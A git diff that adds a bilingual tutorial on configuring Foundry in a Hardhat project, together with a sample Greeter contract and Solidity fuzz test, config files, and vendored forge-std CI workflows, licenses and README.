+## 在 hardhat.config.ts 配置文件中添加 hardhat-foundry 插件
+
+```typescript
+import '@nomicfoundation/hardhat-toolbox';
+import '@nomicfoundation/hardhat-foundry';
+import { HardhatUserConfig } from 'hardhat/config';
+
+const config: HardhatUserConfig = {
+  solidity: '0.8.24',
+};
+
+export default config;
+```
+
+## 初始化 foundry.toml 文件并安装 forge-std 库
+
+```bash
+pnpm hardhat init-foundry
+```
+
+## 编写测试用例
+
+```bash
+mkdir contracts/test
+```
+
+以 Hardhat 默认项目的 `Greeter.sol` 合约为例，编写一个测试文件 `contracts/test/Greeter.t.sol` ，测试文件通常以 t.sol 结尾
+
+```solidity
+//SPDX-License-Identifier: Unlicense
+pragma solidity ^0.8.0;
+
+import "../Greeter.sol";
+import {Test} from "forge-std/Test.sol";
+
+contract GreeterTest is Test {
+    Greeter private greeter;
+
+    function setUp() public {
+        greeter = new Greeter("Hello wplai!");
+    }
+
+    function test_Greet() public view {
+        assertEq(greeter.greet(), "Hello wplai!");
+    }
+
+    function testFuzz_SetGreeting(string memory _greeting) public {
+        greeter.setGreeting(_greeting);
+        assertEq(greeter.greet(), _greeting);
+    }
+}
+```
+
+注：[the Foundry Book](https://book.getfoundry.sh/forge/writing-tests) 文档里介绍使用 forge-std 库的方法是先在 foundry.toml 或 remappings.txt 里设置好 forge-std 的路径，然后在测试文件中用 `import {Test} from "forge-std/Test.sol";` 来导入。
+
+值得注意的是，上述的 testFuzz_SetGreeting 测试项是个 fuzz 测试，测试文件里并没有写定测试的输入，而是由 forge 喂入随机信息作为输入。
+
+## 运行测试
+
+```bash
+forge test --root .
+# 打印详细信息
+forge test -vvvv
+```
+
+```
+[⠔] Compiling...
+[⠔] Compiling 3 files with 0.8.13
+Compiler run successful
+
+Running 2 tests for GreeterTest.json:GreeterTest
+[PASS] test_Greet() (gas: 9778)
+[PASS] testFuzz_SetGreeting(string) (runs: 256, μ: 46948, ~: 67196)
+```
+
+想更省事的话，可以将该命令写入 `package.json` 里
+
+```bash
+# package.json
+{
+...
+  "scripts": {
+    "test": "forge test --root ."
+  },
+...
+}
+```
+
+之后用 `pnpm test` 进行测试
+
+同时，Hardhat 原本的测试文件可以用 `pnpm hardhat test` 进行测试。
+
+## 参考文献
+
+- [the Foundry Book](https://book.getfoundry.sh/forge/writing-tests)
diff --git a/basic/41-foundry/with-hardhat/README.md b/basic/41-foundry/with-hardhat/README.md
new file mode 100644
index 000000000..d6c1a7a81
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/README.md
@@ -0,0 +1,130 @@
+## Configuring Foundry in a Hardhat project
+
+The Foundry framework has many advantages over Hardhat in terms of code testing, for example.
+
+- Can write tests using Solidity 
+- Can perform fuzz testing 
+- And it Runs fast
+
+But in terms of code deployment, Foundry is not as convenient as Hardhat at the current stage. As developers, we naturally want all the advantages.
+
+This article will introduce how to configure Foundry in a Hardhat project.
+
+## Initializing a Hardhat project
+
+```bash
+mkdir with-hardhat
+cd with-hardhat
+# Initialize a project using pnpm
+pnpm init
+# Install hardhat
+pnpm add -D hardhat
+# Initialize project
+pnpm hardhat init
+```
+
+## Install the hardhat-foundry plugin
+
+```bash
+pnpm add -D @nomicfoundation/hardhat-foundry
+# hardhat Toolbox plugin
+pnpm add -D @nomicfoundation/hardhat-toolbox
+# chai Assertion library plugin
+pnpm add -D @nomicfoundation/hardhat-chai-matchers
+```
+
+## Add the hardhat-foundry plugin to the hardhat.config.ts configuration file.
+
+```typescript
+import '@nomicfoundation/hardhat-toolbox';
+import '@nomicfoundation/hardhat-foundry';
+import { HardhatUserConfig } from 'hardhat/config';
+
+const config: HardhatUserConfig = {
+  solidity: '0.8.24',
+};
+
+export default config;
+```
+
+## Initialize the foundry.toml file and install the forge-std library.
+
+```bash
+pnpm hardhat init-foundry
+```
+
+## Write test cases
+
+```bash
+mkdir contracts/test
+```
+
+For example, using the `Greeter.sol `contract from the default Hardhat project as an example, write a test file called `contracts/test/Greeter.t.sol`. Test files usually end with t.sol.
+
+```solidity
+//SPDX-License-Identifier: Unlicense
+pragma solidity ^0.8.0;
+
+import "../Greeter.sol";
+import {Test} from "forge-std/Test.sol";
+
+contract GreeterTest is Test {
+    Greeter private greeter;
+
+    function setUp() public {
+        greeter = new Greeter("Hello wplai!");
+    }
+
+    function test_Greet() public view {
+        assertEq(greeter.greet(), "Hello wplai!");
+    }
+
+    function testFuzz_SetGreeting(string memory _greeting) public {
+        greeter.setGreeting(_greeting);
+        assertEq(greeter.greet(), _greeting);
+    }
+}
+```
+
+Note: In the [Foundry Book](https://book.getfoundry.sh/forge/writing-tests) documentation, the method described for using the forge-std library is to first set the path for forge-std in foundry.toml or remappings.txt, and then `import {Test} from "forge-std/Test.sol";` in the test file.
+
+It is worth noting that the test item testFuzz_SetGreeting above is a fuzz test, and the test file does not specify the input of the test, but randomly feeds information into the forge as input.
+
+## Run test.
+
+```bash
+forge test --root .
+# Print detailed information
+forge test -vvvv
+```
+
+```
+[⠔] Compiling...
+[⠔] Compiling 3 files with 0.8.13
+Compiler run successful
+
+Running 2 tests for GreeterTest.json:GreeterTest
+[PASS] test_Greet() (gas: 9778)
+[PASS] testFuzz_SetGreeting(string) (runs: 256, μ: 46948, ~: 67196)
+```
+
+If you want to make it easier, you can write this command in the `package.json`.
+
+```bash
+# package.json
+{
+...
+  "scripts": {
+    "test": "forge test --root ."
+  },
+...
+}
+```
+
+Afterwards, use `'pnpm test'` for testing.
+
+At the same time, the original test files of Hardhat can be tested using `pnpm hardhat test`.
+
+## References
+
+- [the Foundry Book](https://book.getfoundry.sh/forge/writing-tests)
\ No newline at end of file
diff --git a/basic/41-foundry/with-hardhat/contracts/Greeter.sol b/basic/41-foundry/with-hardhat/contracts/Greeter.sol
new file mode 100644
index 000000000..97491e5fc
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/contracts/Greeter.sol
@@ -0,0 +1,22 @@
+//SPDX-License-Identifier: Unlicense
+pragma solidity ^0.8.0;
+
+import 'hardhat/console.sol';
+
+contract Greeter {
+    string private greeting;
+
+    constructor(string memory _greeting) {
+        console.log('Deploying a Greeter with greeting:', _greeting);
+        greeting = _greeting;
+    }
+
+    function greet() public view returns (string memory) {
+        return greeting;
+    }
+
+    function setGreeting(string memory _greeting) public {
+        console.log("Changing greeting from '%s' to '%s'", greeting, _greeting);
+        greeting = _greeting;
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/contracts/test/Greeter.t.sol b/basic/41-foundry/with-hardhat/contracts/test/Greeter.t.sol
new file mode 100644
index 000000000..8e34ca3f7
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/contracts/test/Greeter.t.sol
@@ -0,0 +1,22 @@
+//SPDX-License-Identifier: Unlicense
+pragma solidity ^0.8.0;
+
+import '../Greeter.sol';
+import {Test} from 'forge-std/Test.sol';
+
+contract GreeterTest is Test {
+    Greeter private greeter;
+
+    function setUp() public {
+        greeter = new Greeter('Hello wplai!');
+    }
+
+    function test_Greet() public view {
+        assertEq(greeter.greet(), 'Hello wplai!');
+    }
+
+    function testFuzz_SetGreeting(string memory _greeting) public {
+        greeter.setGreeting(_greeting);
+        assertEq(greeter.greet(), _greeting);
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/foundry.toml b/basic/41-foundry/with-hardhat/foundry.toml
new file mode 100644
index 000000000..2b51a8f2c
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/foundry.toml
@@ -0,0 +1,7 @@
+[profile.default]
+src = 'contracts'
+out = 'out'
+libs = ['node_modules', 'lib']
+test = 'test'
+cache_path = 'cache_forge'
+remappings = ['forge-std/=lib/forge-std/src/']
diff --git a/basic/41-foundry/with-hardhat/hardhat.config.ts b/basic/41-foundry/with-hardhat/hardhat.config.ts
new file mode 100644
index 000000000..3848543c1
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/hardhat.config.ts
@@ -0,0 +1,61 @@
+import '@nomicfoundation/hardhat-toolbox';
+import '@nomicfoundation/hardhat-foundry';
+import { HardhatUserConfig, vars } from 'hardhat/config';
+import { NetworkUserConfig } from 'hardhat/types';
+// import { ethers } from 'ethers';
+import './tasks/accounts';
+
+const chainIds = {
+  ropsten: 3,
+  rinkeby: 4,
+  goerli: 5,
+  kovan: 42,
+  ganache: 1337,
+  hardhat: 31337,
+};
+
+const mnemonic = vars.get('MNEMONIC', '');
+const infuraApiKey = vars.get('INFURA_API_KEY', '');
+
+function getChainConfig(network: keyof typeof chainIds): NetworkUserConfig {
+  const url: string = 'https://' + network + '.infura.io/v3/' + infuraApiKey;
+  return {
+    url,
+    chainId: chainIds[network],
+    accounts: {
+      mnemonic,
+      path: "m/44'/60'/0'/0",
+      initialIndex: 0,
+      count: 20,
+      passphrase: '',
+    },
+  };
+}
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+const config: HardhatUserConfig = {
+  solidity: '0.8.24',
+  defaultNetwork: 'hardhat',
+  networks: {
+    hardhat: {
+      // chainId: chainIds.hardhat,
+      // accounts: {
+      //   mnemonic,
+      //   accountsBalance: ethers.parseEther('10000').toString(),
+      // },
+      // gasPrice 默认 8000000000, 改为 1000000000 便于计算
+      gasPrice: 1000000000,
+    },
+    ropsten: getChainConfig('ropsten'),
+    rinkeby: getChainConfig('rinkeby'),
+    goerli: getChainConfig('goerli'),
+    kovan: getChainConfig('kovan'),
+  },
+};
+
+export default config;
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/.gitattributes b/basic/41-foundry/with-hardhat/lib/forge-std/.gitattributes
new file mode 100644
index 000000000..27042d458
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/.gitattributes
@@ -0,0 +1 @@
+src/Vm.sol linguist-generated
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/.github/workflows/ci.yml b/basic/41-foundry/with-hardhat/lib/forge-std/.github/workflows/ci.yml
new file mode 100644
index 000000000..cb241ae74
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/.github/workflows/ci.yml
@@ -0,0 +1,134 @@
+name: CI
+
+on:
+  workflow_dispatch:
+  pull_request:
+  push:
+    branches:
+      - master
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+
+      - name: Install Foundry
+        uses: onbjerg/foundry-toolchain@v1
+        with:
+          version: nightly
+
+      - name: Print forge version
+        run: forge --version
+
+      # Backwards compatibility checks:
+      # - the oldest and newest version of each supported minor version
+      # - versions with specific issues
+      - name: Check compatibility with latest
+        if: always()
+        run: |
+          output=$(forge build --skip test)
+
+          if echo "$output" | grep -q "Warning"; then
+            echo "$output"
+            exit 1
+          fi
+
+      - name: Check compatibility with 0.8.0
+        if: always()
+        run: |
+          output=$(forge build --skip test --use solc:0.8.0)
+
+          if echo "$output" | grep -q "Warning"; then
+            echo "$output"
+            exit 1
+          fi
+
+      - name: Check compatibility with 0.7.6
+        if: always()
+        run: |
+          output=$(forge build --skip test --use solc:0.7.6)
+
+          if echo "$output" | grep -q "Warning"; then
+            echo "$output"
+            exit 1
+          fi
+
+      - name: Check compatibility with 0.7.0
+        if: always()
+        run: |
+          output=$(forge build --skip test --use solc:0.7.0)
+
+          if echo "$output" | grep -q "Warning"; then
+            echo "$output"
+            exit 1
+          fi
+
+      - name: Check compatibility with 0.6.12
+        if: always()
+        run: |
+          output=$(forge build --skip test --use solc:0.6.12)
+
+          if echo "$output" | grep -q "Warning"; then
+            echo "$output"
+            exit 1
+          fi
+
+      - name: Check compatibility with 0.6.2
+        if: always()
+        run: |
+          output=$(forge build --skip test --use solc:0.6.2)
+
+          if echo "$output" | grep -q "Warning"; then
+            echo "$output"
+            exit 1
+          fi
+
+      # via-ir compilation time checks.
+      - name: Measure compilation time of Test with 0.8.17 --via-ir
+        if: always()
+        run: forge build --skip test --contracts test/compilation/CompilationTest.sol --use solc:0.8.17 --via-ir
+
+      - name: Measure compilation time of TestBase with 0.8.17 --via-ir
+        if: always()
+        run: forge build --skip test --contracts test/compilation/CompilationTestBase.sol --use solc:0.8.17 --via-ir
+
+      - name: Measure compilation time of Script with 0.8.17 --via-ir
+        if: always()
+        run: forge build --skip test --contracts test/compilation/CompilationScript.sol --use solc:0.8.17 --via-ir
+
+      - name: Measure compilation time of ScriptBase with 0.8.17 --via-ir
+        if: always()
+        run: forge build --skip test --contracts test/compilation/CompilationScriptBase.sol --use solc:0.8.17 --via-ir
+
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+
+      - name: Install Foundry
+        uses: onbjerg/foundry-toolchain@v1
+        with:
+          version: nightly
+
+      - name: Print forge version
+        run: forge --version
+
+      - name: Run tests
+        run: forge test -vvv
+
+  fmt:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+
+      - name: Install Foundry
+        uses: onbjerg/foundry-toolchain@v1
+        with:
+          version: nightly
+
+      - name: Print forge version
+        run: forge --version
+
+      - name: Check formatting
+        run: forge fmt --check
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/.github/workflows/sync.yml b/basic/41-foundry/with-hardhat/lib/forge-std/.github/workflows/sync.yml
new file mode 100644
index 000000000..5a9e9d591
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/.github/workflows/sync.yml
@@ -0,0 +1,29 @@
+name: Sync Release Branch
+
+on:
+  release:
+    types:
+      - created
+
+jobs:
+  sync-release-branch:
+    runs-on: ubuntu-latest
+    if: startsWith(github.event.release.tag_name, 'v1')
+    steps:
+      - name: Check out the repo
+        uses: actions/checkout@v3
+        with:
+          fetch-depth: 0
+          ref: v1
+
+      - name: Configure Git
+        run: |
+          git config user.name github-actions[bot]
+          git config user.email 41898282+github-actions[bot]@users.noreply.github.com
+
+      - name: Sync Release Branch
+        run: |
+          git fetch --tags
+          git checkout v1
+          git reset --hard ${GITHUB_REF}
+          git push --force
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/.gitignore b/basic/41-foundry/with-hardhat/lib/forge-std/.gitignore
new file mode 100644
index 000000000..756106d38
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/.gitignore
@@ -0,0 +1,4 @@
+cache/
+out/
+.vscode
+.idea
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/LICENSE-APACHE b/basic/41-foundry/with-hardhat/lib/forge-std/LICENSE-APACHE
new file mode 100644
index 000000000..cf01a499f
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/LICENSE-APACHE
@@ -0,0 +1,203 @@
+Copyright Contributors to Forge Standard Library
+
+                              Apache License
+                        Version 2.0, January 2004
+                     http://www.apache.org/licenses/
+
+TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+1. Definitions.
+
+   "License" shall mean the terms and conditions for use, reproduction,
+   and distribution as defined by Sections 1 through 9 of this document.
+
+   "Licensor" shall mean the copyright owner or entity authorized by
+   the copyright owner that is granting the License.
+
+   "Legal Entity" shall mean the union of the acting entity and all
+   other entities that control, are controlled by, or are under common
+   control with that entity. For the purposes of this definition,
+   "control" means (i) the power, direct or indirect, to cause the
+   direction or management of such entity, whether by contract or
+   otherwise, or (ii) ownership of fifty percent (50%) or more of the
+   outstanding shares, or (iii) beneficial ownership of such entity.
+
+   "You" (or "Your") shall mean an individual or Legal Entity
+   exercising permissions granted by this License.
+
+   "Source" form shall mean the preferred form for making modifications,
+   including but not limited to software source code, documentation
+   source, and configuration files.
+
+   "Object" form shall mean any form resulting from mechanical
+   transformation or translation of a Source form, including but
+   not limited to compiled object code, generated documentation,
+   and conversions to other media types.
+
+   "Work" shall mean the work of authorship, whether in Source or
+   Object form, made available under the License, as indicated by a
+   copyright notice that is included in or attached to the work
+   (an example is provided in the Appendix below).
+
+   "Derivative Works" shall mean any work, whether in Source or Object
+   form, that is based on (or derived from) the Work and for which the
+   editorial revisions, annotations, elaborations, or other modifications
+   represent, as a whole, an original work of authorship. For the purposes
+   of this License, Derivative Works shall not include works that remain
+   separable from, or merely link (or bind by name) to the interfaces of,
+   the Work and Derivative Works thereof.
+
+   "Contribution" shall mean any work of authorship, including
+   the original version of the Work and any modifications or additions
+   to that Work or Derivative Works thereof, that is intentionally
+   submitted to Licensor for inclusion in the Work by the copyright owner
+   or by an individual or Legal Entity authorized to submit on behalf of
+   the copyright owner. For the purposes of this definition, "submitted"
+   means any form of electronic, verbal, or written communication sent
+   to the Licensor or its representatives, including but not limited to
+   communication on electronic mailing lists, source code control systems,
+   and issue tracking systems that are managed by, or on behalf of, the
+   Licensor for the purpose of discussing and improving the Work, but
+   excluding communication that is conspicuously marked or otherwise
+   designated in writing by the copyright owner as "Not a Contribution."
+
+   "Contributor" shall mean Licensor and any individual or Legal Entity
+   on behalf of whom a Contribution has been received by Licensor and
+   subsequently incorporated within the Work.
+
+2. Grant of Copyright License. Subject to the terms and conditions of
+   this License, each Contributor hereby grants to You a perpetual,
+   worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+   copyright license to reproduce, prepare Derivative Works of,
+   publicly display, publicly perform, sublicense, and distribute the
+   Work and such Derivative Works in Source or Object form.
+
+3. Grant of Patent License. Subject to the terms and conditions of
+   this License, each Contributor hereby grants to You a perpetual,
+   worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+   (except as stated in this section) patent license to make, have made,
+   use, offer to sell, sell, import, and otherwise transfer the Work,
+   where such license applies only to those patent claims licensable
+   by such Contributor that are necessarily infringed by their
+   Contribution(s) alone or by combination of their Contribution(s)
+   with the Work to which such Contribution(s) was submitted. If You
+   institute patent litigation against any entity (including a
+   cross-claim or counterclaim in a lawsuit) alleging that the Work
+   or a Contribution incorporated within the Work constitutes direct
+   or contributory patent infringement, then any patent licenses
+   granted to You under this License for that Work shall terminate
+   as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the
+   Work or Derivative Works thereof in any medium, with or without
+   modifications, and in Source or Object form, provided that You
+   meet the following conditions:
+
+   (a) You must give any other recipients of the Work or
+       Derivative Works a copy of this License; and
+
+   (b) You must cause any modified files to carry prominent notices
+       stating that You changed the files; and
+
+   (c) You must retain, in the Source form of any Derivative Works
+       that You distribute, all copyright, patent, trademark, and
+       attribution notices from the Source form of the Work,
+       excluding those notices that do not pertain to any part of
+       the Derivative Works; and
+
+   (d) If the Work includes a "NOTICE" text file as part of its
+       distribution, then any Derivative Works that You distribute must
+       include a readable copy of the attribution notices contained
+       within such NOTICE file, excluding those notices that do not
+       pertain to any part of the Derivative Works, in at least one
+       of the following places: within a NOTICE text file distributed
+       as part of the Derivative Works; within the Source form or
+       documentation, if provided along with the Derivative Works; or,
+       within a display generated by the Derivative Works, if and
+       wherever such third-party notices normally appear. The contents
+       of the NOTICE file are for informational purposes only and
+       do not modify the License. You may add Your own attribution
+       notices within Derivative Works that You distribute, alongside
+       or as an addendum to the NOTICE text from the Work, provided
+       that such additional attribution notices cannot be construed
+       as modifying the License.
+
+   You may add Your own copyright statement to Your modifications and
+   may provide additional or different license terms and conditions
+   for use, reproduction, or distribution of Your modifications, or
+   for any such Derivative Works as a whole, provided Your use,
+   reproduction, and distribution of the Work otherwise complies with
+   the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise,
+   any Contribution intentionally submitted for inclusion in the Work
+   by You to the Licensor shall be under the terms and conditions of
+   this License, without any additional terms or conditions.
+   Notwithstanding the above, nothing herein shall supersede or modify
+   the terms of any separate license agreement you may have executed
+   with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade
+   names, trademarks, service marks, or product names of the Licensor,
+   except as required for reasonable and customary use in describing the
+   origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or
+   agreed to in writing, Licensor provides the Work (and each
+   Contributor provides its Contributions) on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+   implied, including, without limitation, any warranties or conditions
+   of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+   PARTICULAR PURPOSE. You are solely responsible for determining the
+   appropriateness of using or redistributing the Work and assume any
+   risks associated with Your exercise of permissions under this License.
+
+8. Limitation of Liability. In no event and under no legal theory,
+   whether in tort (including negligence), contract, or otherwise,
+   unless required by applicable law (such as deliberate and grossly
+   negligent acts) or agreed to in writing, shall any Contributor be
+   liable to You for damages, including any direct, indirect, special,
+   incidental, or consequential damages of any character arising as a
+   result of this License or out of the use or inability to use the
+   Work (including but not limited to damages for loss of goodwill,
+   work stoppage, computer failure or malfunction, or any and all
+   other commercial damages or losses), even if such Contributor
+   has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing
+   the Work or Derivative Works thereof, You may choose to offer,
+   and charge a fee for, acceptance of support, warranty, indemnity,
+   or other liability obligations and/or rights consistent with this
+   License. However, in accepting such obligations, You may act only
+   on Your own behalf and on Your sole responsibility, not on behalf
+   of any other Contributor, and only if You agree to indemnify,
+   defend, and hold each Contributor harmless for any liability
+   incurred by, or claims asserted against, such Contributor by reason
+   of your accepting any such warranty or additional liability.
+
+END OF TERMS AND CONDITIONS
+
+APPENDIX: How to apply the Apache License to your work.
+
+   To apply the Apache License to your work, attach the following
+   boilerplate notice, with the fields enclosed by brackets "[]"
+   replaced with your own identifying information. (Don't include
+   the brackets!)  The text should be enclosed in the appropriate
+   comment syntax for the file format. We also recommend that a
+   file or class name and description of purpose be included on the
+   same "printed page" as the copyright notice for easier
+   identification within third-party archives.
+
+Copyright [yyyy] [name of copyright owner]
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+	http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/LICENSE-MIT b/basic/41-foundry/with-hardhat/lib/forge-std/LICENSE-MIT
new file mode 100644
index 000000000..28f98304a
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/LICENSE-MIT
@@ -0,0 +1,25 @@
+Copyright Contributors to Forge Standard Library
+
+Permission is hereby granted, free of charge, to any
+person obtaining a copy of this software and associated
+documentation files (the "Software"), to deal in the
+Software without restriction, including without
+limitation the rights to use, copy, modify, merge,
+publish, distribute, sublicense, and/or sell copies of
+the Software, and to permit persons to whom the Software
+is furnished to do so, subject to the following
+conditions:
+
+The above copyright notice and this permission notice
+shall be included in all copies or substantial portions
+of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
+ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED
+TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
+PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
+SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR
+IN CONNECTION WITH THE SOFTWARE O THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.R
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/README.md b/basic/41-foundry/with-hardhat/lib/forge-std/README.md
new file mode 100644
index 000000000..0cb86602e
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/README.md
@@ -0,0 +1,250 @@
+# Forge Standard Library • [![CI status](https://github.com/foundry-rs/forge-std/actions/workflows/ci.yml/badge.svg)](https://github.com/foundry-rs/forge-std/actions/workflows/ci.yml)
+
+Forge Standard Library is a collection of helpful contracts and libraries for use with [Forge and Foundry](https://github.com/foundry-rs/foundry). It leverages Forge's cheatcodes to make writing tests easier and faster, while improving the UX of cheatcodes.
+
+**Learn how to use Forge-Std with the [📖 Foundry Book (Forge-Std Guide)](https://book.getfoundry.sh/forge/forge-std.html).**
+
+## Install
+
+```bash
+forge install foundry-rs/forge-std
+```
+
+## Contracts
+### stdError
+
+This is a helper contract for errors and reverts. In Forge, this contract is particularly helpful for the `expectRevert` cheatcode, as it provides all compiler builtin errors.
+
+See the contract itself for all error codes.
+
+#### Example usage
+
+```solidity
+
+import "forge-std/Test.sol";
+
+contract TestContract is Test {
+    ErrorsTest test;
+
+    function setUp() public {
+        test = new ErrorsTest();
+    }
+
+    function testExpectArithmetic() public {
+        vm.expectRevert(stdError.arithmeticError);
+        test.arithmeticError(10);
+    }
+}
+
+contract ErrorsTest {
+    function arithmeticError(uint256 a) public {
+        uint256 a = a - 100;
+    }
+}
+```
+
+### stdStorage
+
+This is a rather large contract due to all of the overloading to make the UX decent. Primarily, it is a wrapper around the `record` and `accesses` cheatcodes. It can *always* find and write the storage slot(s) associated with a particular variable without knowing the storage layout. The one _major_ caveat to this is while a slot can be found for packed storage variables, we can't write to that variable safely. If a user tries to write to a packed slot, the execution throws an error, unless it is uninitialized (`bytes32(0)`).
+
+This works by recording all `SLOAD`s and `SSTORE`s during a function call. If there is a single slot read or written to, it immediately returns the slot. Otherwise, behind the scenes, we iterate through and check each one (assuming the user passed in a `depth` parameter). If the variable is a struct, you can pass in a `depth` parameter which is basically the field depth.
+
+I.e.:
+```solidity
+struct T {
+    // depth 0
+    uint256 a;
+    // depth 1
+    uint256 b;
+}
+```
+
+#### Example usage
+
+```solidity
+import "forge-std/Test.sol";
+
+contract TestContract is Test {
+    using stdStorage for StdStorage;
+
+    Storage test;
+
+    function setUp() public {
+        test = new Storage();
+    }
+
+    function testFindExists() public {
+        // Lets say we want to find the slot for the public
+        // variable `exists`. We just pass in the function selector
+        // to the `find` command
+        uint256 slot = stdstore.target(address(test)).sig("exists()").find();
+        assertEq(slot, 0);
+    }
+
+    function testWriteExists() public {
+        // Lets say we want to write to the slot for the public
+        // variable `exists`. We just pass in the function selector
+        // to the `checked_write` command
+        stdstore.target(address(test)).sig("exists()").checked_write(100);
+        assertEq(test.exists(), 100);
+    }
+
+    // It supports arbitrary storage layouts, like assembly based storage locations
+    function testFindHidden() public {
+        // `hidden` is a random hash of a bytes, iteration through slots would
+        // not find it. Our mechanism does
+        // Also, you can use the selector instead of a string
+        uint256 slot = stdstore.target(address(test)).sig(test.hidden.selector).find();
+        assertEq(slot, uint256(keccak256("my.random.var")));
+    }
+
+    // If targeting a mapping, you have to pass in the keys necessary to perform the find
+    // i.e.:
+    function testFindMapping() public {
+        uint256 slot = stdstore
+            .target(address(test))
+            .sig(test.map_addr.selector)
+            .with_key(address(this))
+            .find();
+        // in the `Storage` constructor, we wrote that this address' value was 1 in the map
+        // so when we load the slot, we expect it to be 1
+        assertEq(uint(vm.load(address(test), bytes32(slot))), 1);
+    }
+
+    // If the target is a struct, you can specify the field depth:
+    function testFindStruct() public {
+        // NOTE: see the depth parameter - 0 means 0th field, 1 means 1st field, etc.
+        uint256 slot_for_a_field = stdstore
+            .target(address(test))
+            .sig(test.basicStruct.selector)
+            .depth(0)
+            .find();
+
+        uint256 slot_for_b_field = stdstore
+            .target(address(test))
+            .sig(test.basicStruct.selector)
+            .depth(1)
+            .find();
+
+        assertEq(uint(vm.load(address(test), bytes32(slot_for_a_field))), 1);
+        assertEq(uint(vm.load(address(test), bytes32(slot_for_b_field))), 2);
+    }
+}
+
+// A complex storage contract
+contract Storage {
+    struct UnpackedStruct {
+        uint256 a;
+        uint256 b;
+    }
+
+    constructor() {
+        map_addr[msg.sender] = 1;
+    }
+
+    uint256 public exists = 1;
+    mapping(address => uint256) public map_addr;
+    // mapping(address => Packed) public map_packed;
+    mapping(address => UnpackedStruct) public map_struct;
+    mapping(address => mapping(address => uint256)) public deep_map;
+    mapping(address => mapping(address => UnpackedStruct)) public deep_map_struct;
+    UnpackedStruct public basicStruct = UnpackedStruct({
+        a: 1,
+        b: 2
+    });
+
+    function hidden() public view returns (bytes32 t) {
+        // an extremely hidden storage slot
+        bytes32 slot = keccak256("my.random.var");
+        assembly {
+            t := sload(slot)
+        }
+    }
+}
+```
+
+### stdCheats
+
+This is a wrapper over miscellaneous cheatcodes that need wrappers to be more dev friendly. Currently there are only functions related to `prank`. In general, users may expect ETH to be put into an address on `prank`, but this is not the case for safety reasons. Explicitly this `hoax` function should only be used for address that have expected balances as it will get overwritten. If an address already has ETH, you should just use `prank`. If you want to change that balance explicitly, just use `deal`. If you want to do both, `hoax` is also right for you.
+
+
+#### Example usage:
+```solidity
+
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+
+// Inherit the stdCheats
+contract StdCheatsTest is Test {
+    Bar test;
+    function setUp() public {
+        test = new Bar();
+    }
+
+    function testHoax() public {
+        // we call `hoax`, which gives the target address
+        // eth and then calls `prank`
+        hoax(address(1337));
+        test.bar{value: 100}(address(1337));
+
+        // overloaded to allow you to specify how much eth to
+        // initialize the address with
+        hoax(address(1337), 1);
+        test.bar{value: 1}(address(1337));
+    }
+
+    function testStartHoax() public {
+        // we call `startHoax`, which gives the target address
+        // eth and then calls `startPrank`
+        //
+        // it is also overloaded so that you can specify an eth amount
+        startHoax(address(1337));
+        test.bar{value: 100}(address(1337));
+        test.bar{value: 100}(address(1337));
+        vm.stopPrank();
+        test.bar(address(this));
+    }
+}
+
+contract Bar {
+    function bar(address expectedSender) public payable {
+        require(msg.sender == expectedSender, "!prank");
+    }
+}
+```
+
+### Std Assertions
+
+Contains various assertions.
+
+### `console.log`
+
+Usage follows the same format as [Hardhat](https://hardhat.org/hardhat-network/reference/#console-log).
